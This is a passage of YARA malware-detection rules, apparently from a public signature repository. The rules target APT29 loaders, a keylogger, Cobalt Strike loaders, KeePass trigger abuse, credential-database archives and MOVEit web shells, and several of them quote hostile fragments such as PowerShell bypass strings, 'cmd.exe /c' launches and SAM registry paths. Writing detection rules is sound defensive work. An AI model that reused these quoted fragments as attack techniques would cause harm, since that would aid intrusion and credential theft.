		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3ca00f317838819bb7fb80c9d00d94db498e1d3ef146b9af2664dae09302a86d"
		score = 75
		quality = 81
		tags = "CVE-2023-24055, FILE"
	strings:
		$a1 = "<TriggerCollection xmlns:xsi=" ascii wide
		$x1 = "<Parameter>KeePass XML (2.x)</Parameter>"
		$x2 = "::ReadAllBytes("
		$x3 = " -Method "
		$x4 = " bypass "
		$x5 = "powershell" nocase ascii wide fullword
	condition:
		filesize < 200KB and $a1 and 1 of ( $x* )
}

rule SIGNATURE_BASE_APT_MAL_HP_Ilo_Firmware_Dec21_1 : FILE
{
	meta:
		description = "Detects suspicios ELF files with sections as described in malicious iLO Board analysis by AmnPardaz in December 2021"
		author = "Florian Roth (Nextron Systems)"
		id = "7f5fa905-07a3-55da-b644-c5ab882b4a9d"
		date = "2021-12-28"
		modified = "2023-12-05"
		reference = "https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_mal_ilo_board_elf.yar#L2-L18"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7e959d07d864a485b8cc7765f9e12869ff34747ab552e26244eb28f510d1051f"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$s1 = ".newelf.elf.text" ascii
		$s2 = ".newelf.elf.libc.so.data" ascii
		$s3 = ".newelf.elf.Initial.stack" ascii
		$s4 = ".newelf.elf.libevlog.so.data" ascii
	condition:
		filesize < 5MB and 2 of them or all of them
}

rule SIGNATURE_BASE_APT_NK_MAL_Keylogger_Unknown_Nov19_1 : FILE
{
	meta:
		description = "Detects unknown keylogger reported by CNMF in November 2019"
		author = "Florian Roth (Nextron Systems)"
		id = "5311d883-52e0-5503-9494-c583fabbedfe"
		date = "2019-11-06"
		modified = "2023-12-05"
		reference = "https://twitter.com/CNMF_VirusAlert/status/1192131508007505921"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_gen.yar#L2-L35"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a3b5c82cb8aa09e3c1b955bb175046e86f96da1f187eb46df83caaaf9e1370b2"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "04d70bb249206a006f83db39bbe49ff6e520ea329e5fbb9c758d426b1c8dec30"
		hash2 = "618a67048d0a9217317c1d1790ad5f6b044eaa58a433bd46ec2fb9f9ff563dc6"
	strings:
		$x1 = "CKeyLogDlg::Keylogger_WriteFile" ascii
		$x2 = "Keylog file is saved >>>>>> %s" fullword ascii
		$x3 = "MicCap file is saved >>>>>> %s" fullword ascii
		$x4 = "cr5cr33nc4p.dat" fullword ascii
		$xc1 = { 73 74 61 74 75 73 00 00 5C 4B 65 79 6C 6F 67 }
		$xc2 = { 5B 43 4D 69 63 43 61 70 44 6C 67 5D 2E 00 00 00
               25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64
               25 30 32 64 2E 77 61 76 }
		$xc3 = { 25 73 00 00 25 73 5C 2A 2E 2A 00 00 61 62 00 00
               5B 25 73 5D 20 75 70 6C 6F 61 64 20 66 61 69 6C
               65 64 2E 00 72 62 00 00 5B 25 73 5D 20 6F 70 65
               6E 20 66 61 69 6C 65 64 2E 00 00 00 2E 2E 00 00
               5B 25 73 20 2D 3E 20 25 73 5D 20 63 6F 70 79 20
               66 61 69 6C 65 64 }
		$s1 = "%s\\cmd.exe /c %s" fullword ascii
		$s2 = "File upload error occured in [CFSDlg::ProcessResultMessage]." fullword ascii
		$s3 = "\\SAM\\Domains\\Account\\Users\\Names" ascii
		$s4 = "%s_hist%d:%d:%s:%s:::" fullword ascii
		$s5 = "CARAT_Ws2_32.dll" fullword ascii
		$s6 = "PID [%s], open process failed." fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 40000KB and ( 1 of ( $x* ) or 4 of them )
}

rule SIGNATURE_BASE_MAL_Chrysalis_Dllloader_Feb26 : FILE
{
	meta:
		description = "Detects DLL used to load Chrysalis backdoor, seen being used in the compromise of the infrastructure hosting Notepad++ by Chinese APT group Lotus Blossom"
		author = "X__Junior"
		id = "e7be7399-98e3-5809-bee5-c32e86c896ba"
		date = "2026-02-02"
		modified = "2026-02-04"
		reference = "https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/lotusblossom_notepad_exploitation.yar#L1-L14"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "3bdc4c0637591533f1d4198a72a33426c01f69bd2e15ceee547866f65e26b7ad"
		logic_hash = "5e118287bd048788a746d412d00ddd2596224b30562d66c4441738fcc09cee87"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$op1 = { 33 D2 8B C1 F7 F6 0F B6 C1 03 55 ?? 6B C0 ?? 32 02 88 04 0F 41 83 F9 ?? 72 }
		$op2 = { 0F B6 04 31 41 33 C2 69 D0 ?? ?? ?? ?? 3B CB 72 }
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule SIGNATURE_BASE_MAL_Cobaltstrike_Beacon_Loader_Feb26 : FILE
{
	meta:
		description = "Detects Cobalt Strike beacon loader"
		author = "X__Junior"
		id = "1080e9f0-8830-5f8f-b249-65804be3c788"
		date = "2026-02-02"
		modified = "2026-02-04"
		reference = "https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/lotusblossom_notepad_exploitation.yar#L50-L69"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "0a9b8df968df41920b6ff07785cbfebe8bda29e6b512c94a3b2a83d10014d2fd"
		hash = "b4169a831292e245ebdffedd5820584d73b129411546e7d3eccf4663d5fc5be3"
		logic_hash = "949e70b1fb7f270a05d1626a12595ecab22bdec37a07e83c5cf64399506302a5"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$opa1 = { 45 33 C9 41 B8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 66 89 44 24 ?? 41 B8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 0F B7 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? FF 15 }
		$opa2 = { 4C 8D 4C 24 ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 4C 24 ?? 4C 8D 0D ?? ?? ?? ?? 45 33 C0 33 D2 48 8B C8 FF 15 }
		$opb1 = { 48 8D 89 ?? ?? ?? ?? 0F 10 00 0F 10 48 ?? 48 8D 80 ?? ?? ?? ?? 0F 11 41 ?? 0F 10 40 ?? 0F 11 49 ?? 0F 10 48 ?? 0F 11 41 ?? 0F 10 40 ?? 0F 11 49 ?? 0F 10 48 ?? 0F 11 41 ?? 0F 10 40 ?? 0F 11 49 ?? 0F 10 48 ?? 0F 11 41 ?? 0F 11 49 ?? 48 83 EA }
		$opb2 = { 45 33 C9 48 89 84 24 ?? ?? ?? ?? 41 B8 18 00 00 00 C7 84 24 ?? ?? ?? ?? 03 00 00 00 48 8D 94 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? B9 B9 00 00 00 FF 15 }
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $opa* ) or all of ( $opb* )
}

rule SIGNATURE_BASE_MAL_POC_Microsoft_Warbird_Loader_Feb26 : FILE
{
	meta:
		description = "Detects a POC to turn Microsoft Warbird into a shellcode loader"
		author = "X__Junior"
		id = "52130f51-2058-51f7-87ce-570dc4c2f00c"
		date = "2026-02-03"
		modified = "2026-02-04"
		reference = "https://cirosec.de/en/news/abusing-microsoft-warbird-for-shellcode-execution/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/lotusblossom_notepad_exploitation.yar#L71-L83"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "29d0467ee452752286318f350ceb28a2b04ee4c6de550ba0edc34ae0fa7cbb03"
		logic_hash = "daeae01f0d5103974ed011322db3b6a833ee0f67b8739a4e63d6b18704ffa605"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$op = { fe af fe ca ef be ad de }
	condition:
		uint16( 0 ) == 0x5a4d and $op
}

rule SIGNATURE_BASE_APT_APT29_NOBELIUM_JS_Envyscout_May21_1 : FILE
{
	meta:
		description = "Detects EnvyScout deobfuscator code as used by NOBELIUM group"
		author = "Florian Roth (Nextron Systems)"
		id = "42739aad-a88a-545b-8256-1f727c79c4f8"
		date = "2021-05-29"
		modified = "2025-03-21"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt29_nobelium_may21.yar#L56-L67"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ad8a7bb5a1d2065e3a573842fb37ee3c63b7695c18840f0c26d32e6ae3d99c6c"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "[i].charCodeAt(0) ^ 2);}"
	condition:
		filesize < 5000KB and 1 of them
}

rule SIGNATURE_BASE_APT_APT29_NOBELIUM_JS_Envyscout_May21_2 : FILE
{
	meta:
		description = "Detects EnvyScout deobfuscator code as used by NOBELIUM group"
		author = "Florian Roth (Nextron Systems)"
		id = "d5cf3365-fe24-533a-a678-b5b6d4d99997"
		date = "2021-05-29"
		modified = "2025-03-21"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt29_nobelium_may21.yar#L69-L83"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6f5c50b340d628559799897a2ba79add7d126e3ecb2daeb365bc15d64796ccd2"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "saveAs(blob, " ascii
		$s2 = ".iso\");" ascii
		$s3 = "application/x-cd-image" ascii
		$s4 = ".indexOf(\"Win\")!=-1" ascii
	condition:
		filesize < 5000KB and all of them
}

rule SIGNATURE_BASE_APT_APT29_NOBELIUM_LNK_NV_Link_May21_2 : FILE
{
	meta:
		description = "Detects NV Link as used by NOBELIUM group"
		author = "Florian Roth (Nextron Systems)"
		id = "52c2caf9-13df-5614-9c9e-afcd76ec77f9"
		date = "2021-05-29"
		modified = "2025-03-21"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt29_nobelium_may21.yar#L85-L97"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5eee9df368da3fc98c00a0f8c65a7f3bd5b812342082be58054b272b5bb03455"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "RegisterOCX BOOM" ascii wide
		$s2 = "cmd.exe /c start BOOM.exe" ascii wide
	condition:
		filesize < 5000KB and 1 of them
}

rule SIGNATURE_BASE_APT_APT29_NOBELIUM_LNK_Samples_May21_1 : FILE
{
	meta:
		description = "Detects link file characteristics as described in APT29 NOBELIUM report"
		author = "Florian Roth (Nextron Systems)"
		id = "c807ab5a-f66a-5622-81b1-6e69b6df8446"
		date = "2021-05-27"
		modified = "2025-03-21"
		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt29_nobelium_may21.yar#L99-L128"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "32d76bb1af76f0fc2afb76d9726bc8ec99c4be34c9d46cebab7356d8c68af11c"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "24caf54e7c3fe308444093f7ac64d6d520c8f44ea4251e09e24931bdb72f5548"
	strings:
		$a1 = "rundll32.exe" wide
		$sa1 = "IMGMountingService.dll" wide
		$sa2 = "MountImgHelper" wide
		$sb1 = "diassvcs.dll" wide
		$sb2 = "InitializeComponent" wide
		$sc1 = "MsDiskMountService.dll" wide
		$sc2 = "DiskDriveIni" wide
		$sd1 = "GraphicalComponent.dll" wide
		$sd2 = "VisualServiceComponent" wide
		$se1 = "data/mstu.dll,MicrosoftUpdateService" wide
	condition:
		uint16( 0 ) == 0x004c and filesize < 4KB and $a1 and ( all of ( $sa* ) or all of ( $sb* ) or all of ( $sc* ) or all of ( $sd* ) or all of ( $se* ) )
}

rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Boombox_May21_1 : FILE
{
	meta:
		description = "Detects BoomBox malware as described in APT29 NOBELIUM report"
		author = "Florian Roth"
		id = "1a14dcf7-81be-5a74-a530-caf6268d1976"
		date = "2021-05-27"
		modified = "2025-03-20"
		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt29_nobelium_may21.yar#L130-L161"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "8199f309478e8ed3f03f75e7574a3e9bce09b4423bd7eb08bb5bff03af2b7c27"
		logic_hash = "034ea34eb34ea6de0c65b9a7fc9d16f108ef34cd75294b022371ac17789c3830"
		score = 85
		quality = 85
		tags = "FILE"
	strings:
		$a1 = "]::FromBase64String($" ascii wide
		$xa1 = "123do3y4r378o5t34onf7t3o573tfo73" ascii wide fullword
		$xa2 = "1233t04p7jn3n4rg" ascii wide fullword
		$s1 = "\\Release\\BOOM.pdb" ascii
		$s2 = "/files/upload" ascii
		$s3 = "/tmp/readme.pdf" ascii fullword
		$s4 = "/new/{0}" ascii fullword
		$s5 = "(&(objectClass=user)(objectCategory=person))"
	condition:
		( uint16( 0 ) == 0x5a4d or 1 of ( $a* ) ) and ( 1 of ( $x* ) or 3 of ( $s* ) )
}

rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Nativezone_Loader_May21_1 : FILE
{
	meta:
		description = "Detects NativeZone loader as described in APT29 NOBELIUM report"
		author = "Florian Roth (Nextron Systems)"
		id = "02d9257d-f439-5071-96b0-a973b088e329"
		date = "2021-05-27"
		modified = "2025-03-21"
		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt29_nobelium_may21.yar#L184-L204"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a02fd6fcd7423781bbd2e4458bd61d28e16a5b1a73b1682e63db5c86d53c7da4"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "136f4083b67bc8dc999eb15bb83042aeb01791fc0b20b5683af6b4ddcf0bbc7d"
	strings:
		$s1 = "\\SystemCertificates\\Lib\\CertPKIProvider.dll" ascii
		$s2 = "rundll32.exe %s %s" ascii fullword
		$s3 = "eglGetConfigs" ascii fullword
		$op1 = { 80 3d 74 8c 01 10 00 0f 85 96 00 00 00 33 c0 40 b9 6c 8c 01 10 87 01 33 db 89 5d fc }
		$op2 = { 8b 46 18 e9 30 ff ff ff 90 87 2f 00 10 90 2f 00 10 }
		$op3 = { e8 14 dd ff ff 8b f1 80 3d 74 8c 01 10 00 0f 85 96 00 00 00 33 c0 40 b9 6c 8c 01 10 87 01 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 3 of them or 4 of them
}

rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Boombox_May21_2 : FILE
{
	meta:
		description = "Detects BoomBox malware used by APT29 / NOBELIUM"
		author = "Florian Roth (Nextron Systems)"
		id = "a4144c00-48b2-5520-b773-5d0a5de95fb1"
		date = "2021-05-29"
		modified = "2025-03-21"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt29_nobelium_may21.yar#L206-L234"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2a3829e704af2464639d07e8e7952669281e20cf2a7ac487d5d1eee021d08b35"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "0acb884f2f4cfa75b726cb8290b20328c8ddbcd49f95a1d761b7d131b95bafec"
		hash2 = "8199f309478e8ed3f03f75e7574a3e9bce09b4423bd7eb08bb5bff03af2b7c27"
		hash3 = "cf1d992f776421f72eabc31d5afc2f2067ae856f1c9c1d6dc643a67cb9349d8c"
	strings:
		$x1 = "\\Microsoft\\NativeCache\\NativeCacheSvc.dll" wide
		$x2 = "\\NativeCacheSvc.dll _configNativeCache" wide
		$a1 = "/content.dropboxapi.com" wide fullword
		$s1 = "rundll32.exe {0} {1}" wide fullword
		$s2 = "\\\\CertPKIProvider.dll" wide
		$s3 = "/tmp/readme.pdf" wide
		$s4 = "temp/[^\"]*)\"" wide fullword
		$op1 = { 00 78 00 2d 00 41 00 50 00 49 00 2d 00 41 00 72 00 67 00 01 2f 4f 00 72 00 }
		$op2 = { 25 72 98 01 00 70 6f 34 00 00 0a 25 6f 35 00 00 0a 72 71 02 00 70 72 }
		$op3 = { 4d 05 20 00 12 80 91 04 20 01 08 0e 04 20 00 12 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and 3 of them or 4 of them
}

rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Malware_May21_2 : FILE
{
	meta:
		description = "Detects malware used by APT29 / NOBELIUM"
		author = "Florian Roth (Nextron Systems)"
		id = "b1462b4b-227f-5aeb-92ea-bda6a86831c7"
		date = "2021-05-29"
		modified = "2025-03-21"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt29_nobelium_may21.yar#L236-L252"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "18a52f5fd71455b8564d4b485c233dd358a304bfddc5e6fb604b8e5a2a1949a3"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "292e5b0a12fea4ff3fc02e1f98b7a370f88152ce71fe62670dd2f5edfaab2ff8"
		hash2 = "776014a63bf3cc7034bd5b6a9c36c75a930b59182fe232535bb7a305e539967b"
	strings:
		$op1 = { 48 03 c8 42 0f b6 04 21 88 03 0f b6 43 01 8b c8 83 e0 0f 48 83 e1 f0 48 03 c8 }
		$op2 = { 48 03 c8 42 0f b6 04 21 88 43 01 41 0f b6 c7 8b c8 83 e0 0f 48 83 e1 f0 48 03 c8 }
		$op3 = { 45 0f b6 43 ff 41 8b c2 99 44 88 03 41 0f b6 2b 83 e2 03 03 c2 40 88 6b 01 }
	condition:
		filesize < 2200KB and all of them
}

rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Stageless_Loader_May21_2 : FILE
{
	meta:
		description = "Detects stageless loader as used by APT29 / NOBELIUM"
		author = "Florian Roth (Nextron Systems)"
		id = "7b83d327-52fc-5401-ae35-00f6b825678a"
		date = "2021-05-29"
		modified = "2025-03-21"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt29_nobelium_may21.yar#L254-L276"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "850f6a1ad342fd5e4bb29c7bf90a032ddd8ac9d2eac5ffcbedf43e4d04b178f5"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "a4f1f09a2b9bc87de90891da6c0fca28e2f88fd67034648060cef9862af9a3bf"
		hash2 = "c4ff632696ec6e406388e1d42421b3cd3b5f79dcb2df67e2022d961d5f5a9e78"
	strings:
		$x1 = "DLL_stageless.dll" ascii fullword
		$s1 = "c:\\users\\devuser\\documents" ascii fullword nocase
		$s2 = "VisualServiceComponent" ascii fullword
		$s3 = "CheckUpdteFrameJavaCurrentVersion" ascii fullword
		$op1 = { a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 68 d8 d4 00 10 57 a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 }
		$op2 = { ff d6 33 05 00 ?0 0? 10 68 d8 d4 00 10 57 a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 68 e8 d4 00 10 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and 2 of them or 3 of them
}

rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Malware_May21_3 : FILE
{
	meta:
		description = "Detects malware used by APT29 / NOBELIUM"
		author = "Florian Roth (Nextron Systems)"
		id = "89cb6884-4242-5b5a-b0ac-b31041dd261c"
		date = "2021-05-29"
		modified = "2025-03-21"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt29_nobelium_may21.yar#L278-L300"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "472acd1d6daf3480de59ecd3fa038d644e339dcc979cf7e56617eadc6cb32dc5"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "2a352380d61e89c89f03f4008044241a38751284995d000c73acf9cad38b989e"
	strings:
		$s1 = "Win32Project1.dll" ascii fullword
		$op1 = { 59 c3 6a 08 68 70 5e 01 10 e8 d2 8c ff ff 8b 7d 08 8b c7 c1 f8 05 }
		$op2 = { 8d 4d f0 e8 c4 12 00 00 68 64 5b 01 10 8d 45 f0 c7 45 f0 6c 01 01 10 50 e8 ea 13 00 00 cc }
		$op4 = { 40 c3 8b 65 e8 e8 a6 86 ff ff cc 6a 0c 68 88 60 01 10 e8 b0 4d ff ff }
		$xc1 = { 25 73 25 73 00 00 00 00 2F 65 2C 20 00 00 00 00
               43 00 3A 00 5C 00 77 00 69 00 6E 00 64 00 6F 00
               77 00 73 00 5C 00 65 00 78 00 70 00 6C 00 6F 00
               72 00 65 00 72 00 2E 00 65 00 78 00 65 }
	condition:
		filesize < 3000KB and ( $xc1 or 3 of them )
}

rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Malware_May21_4 : FILE
{
	meta:
		description = "Detects malware used by APT29 / NOBELIUM"
		author = "Florian Roth (Nextron Systems)"
		id = "56193475-52b4-5720-abc5-72249e2a0c37"
		date = "2021-05-29"
		modified = "2025-03-21"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt29_nobelium_may21.yar#L302-L323"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7d5858cc6dab094d5dceab75a2002d9145537008241a08ac7bd399c9d6e6c270"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "3b94cc71c325f9068105b9e7d5c9667b1de2bde85b7abc5b29ff649fd54715c4"
	strings:
		$s1 = "KM.FileSystem.dll" ascii fullword
		$op1 = { 80 3d 50 6b 04 10 00 0f 85 96 00 00 00 33 c0 40 b9 48 6b 04 10 87 01 33 db 89 5d fc }
		$op2 = { c3 33 c0 b9 7c 6f 04 10 40 87 01 c3 8b ff 55 }
		$op3 = { 8d 4d f4 e8 53 ff ff ff 68 d0 22 01 10 8d 45 f4 50 e8 d8 05 00 00 cc 8b 41 04 }
		$xc1 = { 2E 64 6C 6C 00 00 00 00 41 53 4B 4F 44 00 00 00
               53 75 63 63 65 73 73 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( $xc1 or 3 of them )
}


rule SIGNATURE_BASE_SUSP_RAR_Ntdsdit : FILE
{
	meta:
		description = "Detects suspicious RAR file that contains ntds.dit or SAM export"
		author = "Florian Roth (Nextron Systems)"
		id = "da9e160f-3213-5027-bb0f-bf80ab3d5318"
		date = "2019-12-16"
		modified = "2022-11-15"
		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_rar_exfil.yar#L2-L18"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "12e527b040e02f573f2a6e0fac4ff99ec441bf189c9bb7e1f763619c079a5bfa"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "ntds.dit0" ascii fullword
		$x2 = { 0? 53 41 4D 30 01 00 03 }
		$x3 = { 0? 73 61 6D 30 01 00 03 }
	condition:
		uint32( 0 ) == 0x21726152 and 1 of them
}


rule SIGNATURE_BASE_WEBSHELL_ASPX_DLL_Moveit_Jun23_1 : FILE
{
	meta:
		description = "Detects compiled ASPX web shells found being used in MOVEit Transfer exploitation"
		author = "Florian Roth"
		id = "47db8602-9a9e-5efc-b8b9-fbc4f3c8d4e9"
		date = "2023-06-01"
		modified = "2023-12-05"
		reference = "https://www.trustedsec.com/blog/critical-vulnerability-in-progress-moveit-transfer-technical-analysis-and-recommendations/?utm_content=251159938&utm_medium=social&utm_source=twitter&hss_channel=tw-403811306"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/vuln_moveit_0day_jun23.yar#L2-L22"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "47c2ec1e833852941434586b61d6f435b9acb32b2ff48e0a9e8006e0f9ff8056"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "6cbf38f5f27e6a3eaf32e2ac73ed02898cbb5961566bb445e3c511906e2da1fa"
	strings:
		$x1 = "human2_aspx" ascii fullword
		$x2 = "X-siLock-Comment" wide
		$x3 = "x-siLock-Step1" wide
		$a1 = "MOVEit.DMZ.Core.Data" ascii fullword
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and ( 1 of ( $x* ) and $a1 ) or all of them
}

rule SIGNATURE_BASE_WEBSHELL_ASPX_Moveit_Jun23_1 : FILE
{
	meta:
		description = "Detects ASPX web shells as being used in MOVEit Transfer exploitation"
		author = "Florian Roth"
		id = "2c789b9c-5ec5-5fd1-84e3-6bf7735a9488"
		date = "2023-06-01"
		modified = "2023-12-05"
		reference = "https://www.rapid7.com/blog/post/2023/06/01/rapid7-observed-exploitation-of-critical-moveit-transfer-vulnerability/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/vuln_moveit_0day_jun23.yar#L24-L41"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "436f9a503ad938541faa8f34604310ba6d932e40a41dc189ccd293b7191a7621"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "2413b5d0750c23b07999ec33a5b4930be224b661aaf290a0118db803f31acbc5"
		hash2 = "48367d94ccb4411f15d7ef9c455c92125f3ad812f2363c4d2e949ce1b615429a"
		hash3 = "e8012a15b6f6b404a33f293205b602ece486d01337b8b3ec331cd99ccadb562e"
	strings:
		$s1 = "X-siLock-Comment" ascii fullword
